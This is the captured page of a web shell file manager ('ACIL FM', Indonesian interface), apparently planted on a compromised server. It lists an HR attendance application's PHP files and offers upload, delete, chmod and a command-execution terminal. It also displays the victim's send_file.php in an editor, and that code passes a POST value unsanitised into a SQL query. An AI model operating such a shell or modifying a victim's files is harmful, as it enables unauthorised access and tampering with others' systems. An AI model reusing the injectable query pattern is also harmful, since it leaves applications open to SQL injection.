ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/timbrature/NH-HR-test/ds/php/attendance
/
home
mhhtmff
timbrature
NH-HR-test
ds
php
attendance
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
calculate_attendance.php
23.17 MB
chmod
View
DL
Edit
Rename
Delete
check_attendance_presence.php
346 B
chmod
View
DL
Edit
Rename
Delete
check_problems_presence.php
387 B
chmod
View
DL
Edit
Rename
Delete
close_attendance.php
327 B
chmod
View
DL
Edit
Rename
Delete
create_attendance.php
531 B
chmod
View
DL
Edit
Rename
Delete
delete_attendance.php
631 B
chmod
View
DL
Edit
Rename
Delete
generate_file.php
17.51 MB
chmod
View
DL
Edit
Rename
Delete
send_file.php
1.91 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/timbrature/NH-HR-test/ds/php/attendance/send_file.php
<?php session_start(); if (!isset($_SESSION['loggedin'])) { exit("unauthorized"); } include "../database.php"; require_once "../../plugins/sendgrid/config.php"; require "../../plugins/sendgrid/sendgrid-php.php"; $id = $_POST["id"]; $sql_attendance = "SELECT * FROM attendance WHERE id = $id"; $result_attendance = mysqli_query($con, $sql_attendance); $attendance = mysqli_fetch_assoc($result_attendance); $year = $attendance["year"]; $month = sprintf('%02d', $attendance["month"]); $sql = "SELECT * FROM company_data WHERE name = 'Codice azienda'"; $result = mysqli_query($con, $sql); $row = mysqli_fetch_assoc($result); $company_code = $row["value"]; $filename = "ORARIO_" . $company_code . "_" . $month . "" . $year . ".txt"; $error = 0; $email_num = 0; $sql = "SELECT * FROM payments_office WHERE send_attendance=1"; $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_assoc($result)) { $email = new \SendGrid\Mail\Mail(); $email->setFrom("info@n-hub.com", "NH-HR"); $email->addTo("" . $row["email"] . "", "" . $row["name"] . ""); $email->SetTemplateId("d-72682764e47a4272bdf631d500ce0eb6"); $email->addDynamicTemplateData("NHHR_periodo_paghe", "" . $month . "/" . $year . ""); $file_encoded = base64_encode(file_get_contents("../../../cartellini/" . $filename . "")); $email->addAttachment( $file_encoded, "txt", $filename, "attachment" ); $sendgrid = new \SendGrid(SENDGRID_API_KEY); try { $response = $sendgrid->send($email); $email_num++; } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage() . "\n"; $error++; } } if ($error == 0) { $sql = "UPDATE attendance SET status = 'Inviato', sent = 1, send_datetime = '" . date("Y-m-d H:i:s") . "'"; $con->query($sql); echo $email_num; } else { echo "error"; }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply